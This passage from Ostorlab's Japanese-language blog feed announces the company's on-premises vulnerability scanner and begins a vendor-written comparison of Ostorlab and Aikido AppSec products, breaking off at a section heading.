id="ostorlabのオンプレミス脆弱性スキャナーを発表:ローカルに届き、一元的に管理"&gt;Ostorlabのオンプレミス脆弱性スキャナーを発表：ローカルに届き、一元的に管理&lt;/h1&gt;
&lt;p&gt;&lt;strong&gt;Ostorlabオンプレミススキャン&lt;/strong&gt;の一般提供を開始したことを、大変うれしく思います。&lt;/p&gt;
&lt;p&gt;ビジネスに不可欠なシステムの多くは、パブリックインターネットからアクセスできません。プライベートネットワーク内でホストされていたり、厳格なファイアウォールで保護されていたり、VPN経由のアクセスに制限されていたり、開発環境内に隔離されていたりします。従来のクラウドスキャナーは、ネットワークの境界を損なってそれらを外部に公開しない限り、こうしたアセットに到達できません。&lt;/p&gt;
&lt;p&gt;当社は、この課題を解決するために新しい実行エンジンを構築しました。&lt;strong&gt;自社のインフラ内に直接デプロイしたスキャナーノードを使って、プライベートなアプリケーション、API、ネットワークをテストできるようになりました&lt;/strong&gt;。しかも、スキャンの管理や検出結果のレビューは、すでにお使いのOstorlabの一元化されたプラットフォームから行えます。&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="中核となる利点:ローカルへの到達性と一元的な運用の両立"&gt;中核となる利点：ローカルへの到達性と一元的な運用の両立&lt;/h2&gt;
&lt;p&gt;当社のオンプレミススキャナーは、&lt;em&gt;「このアセットにはセキュリティスキャナーが到達できない」&lt;/em&gt;という問題を、&lt;em&gt;「公開することなく継続的にテストできる」&lt;/em&gt;状態へと変えます。&lt;/p&gt;
&lt;p&gt;これにより、分断された「運用上の孤島」が生まれることを防ぎます。スキャンは自社のローカルインフラから実行され、攻撃者とまったく同じように内部の対象とやり取りします。それでいて、チームは引き続き統合されたOstorlabプラットフォームを使い、外部アセットと並べて、スキャンのオーケストレーション、アクティビティの監視、検出結果のレビュー、修復の管理を行えます。&lt;/p&gt;
&lt;h3 id="ローカルでスキャンできる対象"&gt;ローカルでスキャンできる対象&lt;/h3&gt;
&lt;p&gt;プランとデプロイ構成に応じて、オンプレミススキャナーは次の対象にシームレスに対応します。&lt;/p&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;対象領域&lt;/th&gt;
&lt;th style="text-align: left;"&gt;スキャン可能なアセットの例&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;プライベートネットワーク&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;内部IPアドレス、ネットワーク範囲、ホスト、サービス。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;社内Webアプリ&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;イントラネット、管理ポータル、ステージング環境のアプリケーション、非公開のダッシュボード。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;プライベートAPI&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;社内のREST、GraphQL、その他のAPIサービス。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;ソースコードとリポジトリのアーカイブ&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;管理されたアクセスが必要なソースコードリポジトリやアーカイブ、またはスキャン用にパッケージ化されたもの。&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr/&gt;
&lt;h2 id="仕組み"&gt;仕組み&lt;/h2&gt;
&lt;p&gt;オンプレミススキャンは、既存のワークフローに自然に組み込めるよう設計されています。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;スキャナーを登録する：&lt;/strong&gt;管理者がOstorlabプラットフォームからスキャナーを作成し、識別しやすい名前と説明を付けます。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="新しいオンプレミススキャナーの追加" class="img-fluid" src="https://blog.ostorlab.co/static/img/onprem_announcement/how-to-add-new-scanner.png" title="新しいスキャナーを追加"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;新しいスキャナーを追加&lt;/figcaption&gt;&lt;/figure&gt;
2. &lt;strong&gt;社内にデプロイする：&lt;/strong&gt;テスト対象のシステムにアクセスできる、顧客が管理するインフラにスキャナーをインストールします。
3. &lt;strong&gt;対象環境を選択する：&lt;/strong&gt;スキャンを作成する際は、対象に到達できる特定のオンプレミススキャナーを選択するだけです。それ以外のスキャン設定はまったく同じです。
4. &lt;strong&gt;結果を一元的にレビューする：&lt;/strong&gt;実行後は、スキャンの進捗と検出結果が、ほかのセキュリティスキャンとともに統合されたOstorlabダッシュボードに表示されます。&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="スケーラブルな管理のための新機能"&gt;スケーラブルな管理のための新機能&lt;/h2&gt;
&lt;p&gt;エンタープライズのネットワークを管理するには、個別のデータセンターや高度にセグメント化された環境に対応しなければならないことがよくあります。分散したスキャナー群をサポートするため、Ostorlabプラットフォームに大規模なアーキテクチャのアップグレードを導入します。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;負荷分散のためのスキャナーグループ：&lt;/strong&gt;特定の1台のマシンに作業を割り当てる代わりに、複数のスキャナーノードを一つのグループにまとめられます。スキャンを開始すると、そのグループ内で利用可能かつ条件を満たすスキャナーに振り分けられます。これにより、キャパシティを追加したり、リージョンや事業部門ごとにノードを整理したり、単一障害点をなくしたりできます。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="スキャナーグループの追加" class="img-fluid" src="https://blog.ostorlab.co/static/img/onprem_announcement/how-to-add-scanner-group.png" title="スキャナーグループを追加"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;スキャナーグループを追加&lt;/figcaption&gt;&lt;/figure&gt;
*   &lt;strong&gt;スキャナー群の一元的な可視化：&lt;/strong&gt;管理者は、登録されたすべてのスキャナーをOstorlabプラットフォームから直接監視できます。オンラインの稼働状況、現在処理中のスキャン、ホスト名、IPアドレス、そしてCPU、メモリ、ディスクの使用状況をリアルタイムで確認できます。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="スキャナーの概要ダッシュボード" class="img-fluid" src="https://blog.ostorlab.co/static/img/onprem_announcement/scanners overview.png" title="スキャナーの概要"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;スキャナーの概要&lt;/figcaption&gt;&lt;/figure&gt;
*   &lt;strong&gt;キャパシティを考慮した実行：&lt;/strong&gt;軽量なネットワークスキャンと大規模なソースコード解析のワークフローとでは、必要なリソースがまったく異なります。エンジンは、ノード上でスキャンを実行する&lt;em&gt;前に&lt;/em&gt;、そのスキャンに必要なCPU、メモリ、ディスクのキャパシティを評価し、リソースを大量に消費するスキャンが小規模なマシンに過大な負荷をかけるのを防ぎます。&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="信頼されているエンジンを、そのままローカルで実行"&gt;信頼されているエンジンを、そのままローカルで実行&lt;/h2&gt;
&lt;p&gt;実行は完全にローカルになりましたが、スキャナーを動かす頭脳は、ユーザーの皆さまに信頼いただいているのと同じOstorlabエンジンです。既存のスキャンプロファイルをオンプレミスで利用できるようにすることで、チームは次のメリットを得られます。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;CVSSにとどまらないリスクベースの優先順位付け：&lt;/strong&gt;引き続き悪用可能性を実証することで誤検知（フォールスポジティブ）を除外し、実際の露出度に基づいて検出結果に優先順位を付けます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;安全なネットワークスキャン：&lt;/strong&gt;エンジンはネットワークリクエストを能動的に抑制し、プローブの送信ペースを調整して、脆弱な社内システムでDoSのような状態が発生するのを防ぎます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ネイティブな修復ワークフロー：&lt;/strong&gt;段階的な修復アドバイスを含む、充実したコンテキスト付きのチケットを、既存のSIEM、SOAR、チケット管理プラットフォームに直接送信できます。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr/&gt;
&lt;h2 id="対象となる組織"&gt;対象となる組織&lt;/h2&gt;
&lt;p&gt;オンプレミススキャンは、公開すべきでない、あるいは公開できない、きわめて価値の高いシステムを運用している組織のために設計されています。対象には次のような組織が含まれます。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;金融サービスとデジタルバンキング&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ヘルスケアとライフサイエンス&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;政府機関と公共部門の組織&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;セグメント化された社内ネットワークを持つ&lt;strong&gt;大企業&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;産業および運用環境&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;開発環境やステージング環境のシステムをテストする&lt;strong&gt;ソフトウェアベンダー&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;厳格なセキュリティ、プライバシー、コンプライアンスの要件のもとで運用しているあらゆる組織&lt;/li&gt;
&lt;/ul&gt;
&lt;hr/&gt;
&lt;h2 id="よくある質問"&gt;よくある質問&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;スキャナーを使うには、社内システムをインターネットに公開する必要がありますか。&lt;/strong&gt;
いいえ。スキャナーは、プライベートなアセットにすでにアクセスできる環境の内部にデプロイされます。社内システムは完全に非公開のままです。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;これは完全にエアギャップされたソリューションですか。&lt;/strong&gt;
いいえ。Ostorlabはハイブリッドモデルで動作します。スキャナーノードには、スキャンスケジュールの取得と暗号化されたレポートデータの送信のためだけに、Ostorlabプラットフォームへの管理された暗号化済みのアウトバウンド接続が必要です。能動的なスキャンとペイロードの実行は、すべて社内ネットワーク内にとどまります。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;認証済みスキャンにはどのような権限が必要ですか。&lt;/strong&gt;
社内Webアプリケーションの場合、スキャナーがログインして認証後のアタックサーフェスを評価するのに必要なのは、通常、一般ユーザーの認証情報またはセッショントークン（JWTやCookieなど）だけです。危険なドメイン管理者権限は必要ありません。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;社内インフラを保護する準備はできましたか。&lt;/strong&gt;
&lt;em&gt;Ostorlabオンプレミス脆弱性スキャナーの実際の動作をご覧いただくには、今すぐ&lt;a href="https://www.ostorlab.co/contact"&gt;デモをリクエスト&lt;/a&gt;するか、&lt;a href="https://www.ostorlab.co/contact"&gt;営業チームにお問い合わせ&lt;/a&gt;ください。&lt;/em&gt;&lt;/p&gt;
&lt;script type="application/ld+json"&gt;
{
  "@context": "https://schema.org",
  "@type": "FAQPage",
  "mainEntity": [
    {
      "@type": "Question",
      "name": "スキャナーを使うには、社内システムをインターネットに公開する必要がありますか。",
      "acceptedAnswer": {
        "@type": "Answer",
        "text": "いいえ。スキャナーは、プライベートなアセットにすでにアクセスできる環境の内部にデプロイされます。社内システムは完全に非公開のままです。"
      }
    },
    {
      "@type": "Question",
      "name": "これは完全にエアギャップされたソリューションですか。",
      "acceptedAnswer": {
        "@type": "Answer",
        "text": "いいえ。Ostorlabはハイブリッドモデルで動作します。スキャナーノードには、スキャンスケジュールの取得と暗号化されたレポートデータの送信のためだけに、Ostorlabプラットフォームへの管理された暗号化済みのアウトバウンド接続が必要です。能動的なスキャンとペイロードの実行は、すべて社内ネットワーク内にとどまります。"
      }
    },
    {
      "@type": "Question",
      "name": "認証済みスキャンにはどのような権限が必要ですか。",
      "acceptedAnswer": {
        "@type": "Answer",
        "text": "社内Webアプリケーションの場合、スキャナーがログインして認証後のアタックサーフェスを評価するのに必要なのは、通常、一般ユーザーの認証情報またはセッショントークン（JWTやCookieなど）だけです。危険なドメイン管理者権限は必要ありません。"
      }
    }
  ]
}
&lt;/script&gt;</content><category term="Product"/><category term="On-Premises"/><category term="Vulnerability Scanner"/><category term="DAST"/></entry><entry><title>Ostorlab vs Aikido：AppSecプラットフォーム比較</title><link href="https://blog.ostorlab.co/ja/ostorlab-vs-aikido.html" rel="alternate"/><published>2026-08-03T18:00:00+02:00</published><updated>2026-10-06T12:00:00+02:00</updated><author><name>Bilal HARRAS</name></author><id>tag:blog.ostorlab.co,2026-08-03:/ja/ostorlab-vs-aikido.html</id><summary type="html">&lt;p&gt;SAST、WebとAPIのペンテスト、モバイルバイナリのテスト、クラウドの態勢管理、BYOK、修復の観点でOstorlabとAikidoを比較します。比較表とFAQ付きです。&lt;/p&gt;</summary><content type="html">&lt;h1 id="ostorlab vs aikido:アプリケーションスタック全体を保護する"&gt;Ostorlab vs Aikido：アプリケーションスタック全体を保護する&lt;/h1&gt;
&lt;p&gt;&lt;strong&gt;簡潔な回答&lt;/strong&gt;：AikidoとOstorlabは、異なる中核的な課題を解決します。&lt;strong&gt;Aikido&lt;/strong&gt;は、クラウドセキュリティの態勢管理、コンテナスキャン、リポジトリレベルのAppSecを一つのダッシュボードに統合しており、主なリスクがクラウドインフラとソースコードの衛生状態にあるチームに適しています。&lt;strong&gt;Ostorlab&lt;/strong&gt;は、コンパイル済みのモバイルバイナリをリバースエンジニアリングして悪用することを第一の目的として構築され、その後Web、API、ソースコードへと拡張されたエージェント型のAppSecおよびペンテストプラットフォームであり、リスクがアプリケーションそのものにあるチームに適しています。AikidoのモバイルバイナリのテストはAndroid専用でソースコードを必要とし、BYOKのオプションはありません。一方、OstorlabはCSPMやコンテナセキュリティを提供していません。&lt;/p&gt;
&lt;h2 id="本比較について"&gt;本比較について&lt;/h2&gt;
&lt;p&gt;本比較は、ここで比較しているOstorlabプラットフォームを開発・販売するOstorlabが公開しています。Aikidoに関する記述はAikidoの公開Webサイトと製品ドキュメントに基づき、Ostorlabに関する記述はOstorlab自身の製品ドキュメントに基づいています。他のベンダーに関する情報は、2026年8月3日時点の各社の公開Webサイトとドキュメントを反映しています。Aikidoのモバイルペンテストとオンプレミスの提供内容は2026年10月2日に、表とFAQにおけるAikidoに関するすべての記述は2026年10月6日に再確認しました。&lt;/p&gt;
&lt;p&gt;&lt;em&gt;2026年10月2日更新：Aikidoは2026年8月26日にホワイトボックス型のAndroidペンテストを開始し、Aikido Machineは外部への接続なしにオンプレミスで動作します。モバイルDASTとデータの取り扱いに関する記述を、Aikidoのページへのリンクとともに修正しました。&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;2026年10月6日更新：Aikidoに関するすべての記述に、Aikido自身のページへのリンクを付けました。Aikido AttackはAndroidアプリもテストします。Aikidoはペンテストの検出結果を個別に再テストします。BYOK、アプリストアからの取り込み、国の選択、コンパイル済みSBOMについて再確認しました。&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;評価基準&lt;/strong&gt;：ソースコードスキャン（SAST）、エージェント型のWebとAPIのペンテスト、モバイルSAST/SCA、コンパイル済みバイナリに対するモバイルDAST、アプリストアからの取り込み、地域制限のあるアプリのテスト、コンパイル済みSBOM、Bring Your Own Key（BYOK）のサポート、単一修正の検証、クラウドセキュリティ態勢管理（CSPM）、コンテナセキュリティ。&lt;/p&gt;
&lt;h2 id="比較の概要"&gt;比較の概要&lt;/h2&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;機能&lt;/th&gt;
&lt;th&gt;Aikido&lt;/th&gt;
&lt;th&gt;Ostorlab&lt;/th&gt;
&lt;th&gt;重要な理由&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;ソースコード（SAST）&lt;/td&gt;
&lt;td&gt;✅ あり、&lt;a href="https://www.aikido.dev/scanners/static-code-analysis-sast"&gt;幅広い言語に対応&lt;/a&gt;、AutoTriageがスキャン後にノイズを除外&lt;/td&gt;
&lt;td&gt;✅ あり、検出結果を動的エンジンに直接つなぎ、悪用可能性を実環境で実証&lt;/td&gt;
&lt;td&gt;Aikidoは事後に検証し、Ostorlabは同じパスの中で検証する&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;エージェント型のWeb/APIペンテスト&lt;/td&gt;
&lt;td&gt;✅ あり、&lt;a href="https://www.aikido.dev/attack/aipentest"&gt;Aikido Attack&lt;/a&gt;、WebアプリとAPI向けの本物の自律型エージェント、2026年8月26日からはホワイトボックス型のAndroidにも対応&lt;/td&gt;
&lt;td&gt;✅ あり、Agentic Deep Scan、Monkey TesterがSPA、SSO、複数ステップのロジックを操作&lt;/td&gt;
&lt;td&gt;どちらも本物のエージェント型製品だが、スコープと出自が異なる&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;モバイルSAST/SCA（ソースレベル）&lt;/td&gt;
&lt;td&gt;✅ あり、&lt;a href="https://www.aikido.dev/use-cases/mobile-apps"&gt;Swift、Kotlin、Dartに対応&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;✅ あり&lt;/td&gt;
&lt;td&gt;どちらもリポジトリレベルのモバイルチェックをカバー&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;モバイルDAST（コンパイル済みバイナリのテスト）&lt;/td&gt;
&lt;td&gt;⚠️ Androidのみ、ホワイトボックス型：&lt;a href="https://www.aikido.dev/attack/android-pentesting"&gt;Androidペンテスト&lt;/a&gt;にはAPKとコードベースが必要で、ビルドでは証明書ピンニング、root検知やエミュレーター検知、RASPを&lt;a href="https://help.aikido.dev/pentests/configure-a-pentest/android-pentesting"&gt;使用できない&lt;/a&gt;。iOSは「近日公開」&lt;/td&gt;
&lt;td&gt;✅ あり、出荷されたAPK/IPAを直接テスト&lt;/td&gt;
&lt;td&gt;リポジトリのスキャンでは、ユーザーが実際にダウンロードするバイナリの中身を見逃す&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;アプリストアからの取り込み&lt;/td&gt;
&lt;td&gt;❌ 提供なし：&lt;a href="https://help.aikido.dev/pentests/configure-a-pentest/android-pentesting"&gt;Androidペンテスト&lt;/a&gt;はアップロードされたAPKとコードベースを受け取る&lt;/td&gt;
&lt;td&gt;✅ あり、バンドルIDでApp StoreまたはGoogle Playから取得、リポジトリ連携は不要&lt;/td&gt;
&lt;td&gt;ホットフィックスやサードパーティアプリのための手作業での入手が不要になる&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;地域制限のあるアプリのテスト&lt;/td&gt;
&lt;td&gt;❌ 提供なし：ペンテストのトラフィックは、選択した国ではなく&lt;a href="https://help.aikido.dev/pentests/prepare-a-pentest/ip-addresses-for-pentest"&gt;ワークスペースのリージョン&lt;/a&gt;（EU、US、AU）から送信される&lt;/td&gt;
&lt;td&gt;✅ あり、国の選択をネイティブにサポート&lt;/td&gt;
&lt;td&gt;地域で制御されるロジックを持つフィンテックや銀行のアプリに必要&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;コンパイル済みSBOM&lt;/td&gt;
&lt;td&gt;⚠️ コンテナのみ：リポジトリとコンテナイメージの&lt;a href="https://help.aikido.dev/compliance-and-reporting/licenses-and-sbom-overview/sbom-and-vex-export"&gt;SBOM&lt;/a&gt;。実行ファイルについては、Aikidoは自己申告のSBOMを求める&lt;/td&gt;
&lt;td&gt;✅ あり、マニフェストだけでなく、出荷されたバイナリから依存関係を直接抽出&lt;/td&gt;
&lt;td&gt;ソースで宣言されたものだけでなく、本番環境に実際に含まれるものを示す&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;BYOK（Bring Your Own Key）&lt;/td&gt;
&lt;td&gt;❌ 提供なし：AI機能は&lt;a href="https://help.aikido.dev/ai-and-dev-tools/how-aikido-uses-ai"&gt;AWS Bedrockでホストされたモデル&lt;/a&gt;で動作し、オンプレミスの&lt;a href="https://www.aikido.dev/attack/aikido-machine"&gt;Aikido Machine&lt;/a&gt;は独自のモデルを実行&lt;/td&gt;
&lt;td&gt;✅ あり、自社のAIプロバイダーのキー（OpenAI、Anthropic、Google Vertex）を接続&lt;/td&gt;
&lt;td&gt;コードやトラフィックを共有モデルに送れない規制業界にとって重要&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;単一修正の検証&lt;/td&gt;
&lt;td&gt;✅ あり、ペンテストの検出結果が対象：Aikidoは過去6か月以内に開始された評価について、&lt;a href="https://help.aikido.dev/pentests/coverage-and-findings/retest-pentest-findings"&gt;検出結果を一つずつ再テスト&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;✅ あり、SVAがフルリスキャンなしで一つのホットフィックスを数分で検証&lt;/td&gt;
&lt;td&gt;どちらも単一の検出結果を再テストできる。OstorlabのSVAは継続的スキャンの検出結果にも使える&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;クラウドセキュリティ態勢管理（CSPM）&lt;/td&gt;
&lt;td&gt;✅ あり、&lt;a href="https://www.aikido.dev/scanners/cloud-posture-management-cspm"&gt;中核的な強み&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;❌ 提供なし&lt;/td&gt;
&lt;td&gt;インフラの態勢が優先事項ならAikidoのほうが適している&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;コンテナセキュリティ&lt;/td&gt;
&lt;td&gt;✅ あり、&lt;a href="https://www.aikido.dev/scanners/container-image-scanning"&gt;コンテナイメージのスキャン&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;❌ 提供なし&lt;/td&gt;
&lt;td&gt;同上&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="率直に認める点:クラウドの態勢とコンテナ"&gt;率直に認める点：クラウドの態勢とコンテナ&lt;/h2&gt;
&lt;p&gt;プラットフォームが何のために設計されていないかを、はっきり述べておくことは重要です。Ostorlabは能動的なAppSecおよびペンテストのプラットフォームであり、インフラの態勢管理ツールではありません。&lt;/p&gt;
&lt;p&gt;当面の目標がクラウドセキュリティ態勢管理（CSPM）、設定ミスのあるS3バケットの検出、定期的なコンテナスキャンであれば、Aikidoのほうが適しています。同社のプラットフォームは、クラウドネイティブなインフラの可視化に優れています。&lt;/p&gt;
&lt;h2 id="ソースコードスキャン(sast):理論の絞り込みか、現実の実証か"&gt;ソースコードスキャン（SAST）：理論の絞り込みか、現実の実証か&lt;/h2&gt;
&lt;p&gt;どちらのプラットフォームも、堅牢な多言語対応の静的解析（SAST）を提供しています。この点ではAikidoは十分に評価されるべきです。同社のSASTエンジンは幅広い言語（Swift、Kotlin、Dartを含む）をサポートし、強力なAutoTriage機能を活用しています。AutoTriageは、到達可能性解析とAIの推論モデルを使って、静的スキャナーに典型的なノイズと誤検知（フォールスポジティブ）を除外します。&lt;/p&gt;
&lt;p&gt;アーキテクチャ上の違いは、検出結果にフラグが立てられた後に何が起きるかにあります。Aikidoは、AIを使って静的な検出結果を事後にトリアージしてスコア付けします。Ostorlabは、SASTを動的なチェーンの最初のステップと捉え、検出結果を動的エンジンに直接つないで悪用可能性を実環境で実証します。高度に絞り込まれた理論上の欠陥のリストを届けるのではなく、Ostorlabは実証レベルのエビデンスを生成し、ソースコードの欠陥が実行中のアプリケーションでどのように実行されるかを正確に示します。&lt;/p&gt;
&lt;h2 id="webとapiのペンテスト:自律型エージェントとmonkey tester"&gt;WebとAPIのペンテスト：自律型エージェントとMonkey Tester&lt;/h2&gt;
&lt;p&gt;Aikidoは最近、&lt;a href="https://www.aikido.dev/attack/aipentest"&gt;Aikido Attack&lt;/a&gt;を投入しました。稼働中のWebアプリとAPI、そして2026年8月26日からはホワイトボックス型のAndroidアプリをテストして悪用する、本物の自律型ペンテストエージェントです。非常に高性能な製品です。&lt;/p&gt;
&lt;p&gt;しかし、2つのエージェントの違いは、その出自に帰着します。Aikidoのエージェントは目の前のWebアプリケーションから出発し、後からソースコードを必須とする形でAndroidを追加しました。Ostorlabのエンジンは、はるかに予測しにくいコンパイル済みモバイルアプリのステートマシンのために最初に構築されました。Ostorlabは、混沌としたモバイルのナビゲーション、動的なUI、物理端末の制約を解決する必要があったため、混沌としたモバイルのナビゲーションに対応するよう構築されたMonkey Testerを使ってWebとAPIのテストに取り組みます。これにより、Ostorlabは人間によるスクリプト作成なしに、複雑なシングルページアプリケーション（SPA）、複数ステップのWeb SSO、複雑なビジネスロジックを自律的に操作できます。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="複雑なUIの状態を自律的に操作するOstorlabのMonkey Tester" class="img-fluid" src="/static/img/ostorlab-vs-aikido/Ostorlab_monkey_tester.png"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;この深さは、APIのテストで顕著に表れます。&lt;a href="https://blog.ostorlab.co/how-ai-catches-complex-vulnerabilities-agentic-pentesting-exploit-chaining.html"&gt;記録された事例研究&lt;/a&gt;では、Ostorlabの&lt;a href="https://ostorlab.co/product/mobile_agentic_deep_scan"&gt;Agentic Deep Scan&lt;/a&gt;が、スコープの限定されたAuth0のマシン間（M2M）認証情報を発見しました。エージェントは漏えいしたキーを報告するだけでなく、その認証情報の認可の範囲を自律的にマッピングし、スコープの限定された&lt;code&gt;read:TSC&lt;/code&gt;トークンをManagement APIへの完全なアクセスへと昇格させることに成功し、1,000件のレコードからなるユーザーディレクトリを抽出しました。&lt;/p&gt;
&lt;h2 id="モバイルの現実とのギャップ:リポジトリだけでなく本番をテストする"&gt;モバイルの現実とのギャップ：リポジトリだけでなく本番をテストする&lt;/h2&gt;
&lt;p&gt;Aikidoは、SASTとソフトウェア構成分析（SCA）でSwift、Kotlin、Dartをサポートしています。これは、リポジトリレベルのチェックを求めるiOSとAndroidの開発者にとって、実在する価値ある機能です。&lt;/p&gt;
&lt;p&gt;2026年8月26日からは、AikidoはAPKに対する&lt;a href="https://www.aikido.dev/attack/android-pentesting"&gt;Androidペンテスト&lt;/a&gt;も実施していますが、ホワイトボックス型のみで、コードベースが必要です。iOSのペンテストは近日公開と記載されています。Ostorlabは、ストアから取得したアプリを含め、コンパイル済みのAndroidアプリとiOSアプリをソースコードなしでテストします。規制業界にとって、出荷されたバイナリのテストは必須の要件です。&lt;/p&gt;
&lt;p&gt;Ostorlabは、本番環境の現実に最適化された真のモバイルDASTです。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;セットアップ不要のストアからの取り込み&lt;/strong&gt;：バンドルIDを入力するだけで、OstorlabがApp StoreまたはGoogle Playからアプリを直接取得します。リポジトリ連携やパイプラインの設定は不要です。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ジオフェンシング&lt;/strong&gt;：国の選択をネイティブにサポートし、地域制限のある本番バリアントを取得してテストします。&lt;br/&gt;
&lt;figure&gt;&lt;img alt="テスト対象として地域制限のある本番バリアントを選択するCountry Filter Scan" class="img-fluid" src="/static/img/ostorlab-vs-aikido/country_filter_scan.png"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;コンパイル済みSBOM&lt;/strong&gt;：マニフェストやロックファイルをスキャンするのではなく、出荷されたAPKまたはIPAのバイナリから依存関係と静的リンクされたネイティブコンポーネントを直接抽出し、本番環境に何が入ったかを正確に示します。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="データプライバシーとbyok(bring your own key)"&gt;データプライバシーとBYOK（Bring Your Own Key）&lt;/h2&gt;
&lt;p&gt;銀行、ヘルスケア、ゲームなどの厳しく規制された業界にとって、機密性の高い独自コードやトラフィックのテレメトリを共有の公開LLMに送ることは論外です。&lt;/p&gt;
&lt;p&gt;ここでOstorlabは、アーキテクチャ上の決定的な利点であるBring Your Own Key（BYOK）を提供します。Ostorlabでは、セキュリティチームがOpenAI、Anthropic、Google Vertexなど、自社のプライベートなAIプロバイダーのキーを接続でき、データに関する推論はすべて企業がすでに管理しているインフラの中に厳格にとどまります。Aikidoの公開ページではBYOKのオプションは見つかりませんでした。Aikidoは、AI機能に&lt;a href="https://help.aikido.dev/ai-and-dev-tools/how-aikido-uses-ai"&gt;AWS Bedrockでホストされたモデル&lt;/a&gt;を使用していると述べています。エアギャップ環境のニーズに対しては、Aikidoは外部への接続なしで動作できるオンプレミスのサーバーである&lt;a href="https://www.aikido.dev/attack/aikido-machine"&gt;Aikido Machine&lt;/a&gt;を提供しています。Ostorlabは、Enterpriseでオンプレミス導入を提供しています。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="データプライバシーのためにプライベートなAIプロバイダーのキーを設定するBYOK Agentic Deep Scan" class="img-fluid" src="/static/img/ostorlab-vs-aikido/byok-agentic-deep-scan.png"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;h2 id="精密な修復:sva"&gt;精密な修復：SVA&lt;/h2&gt;
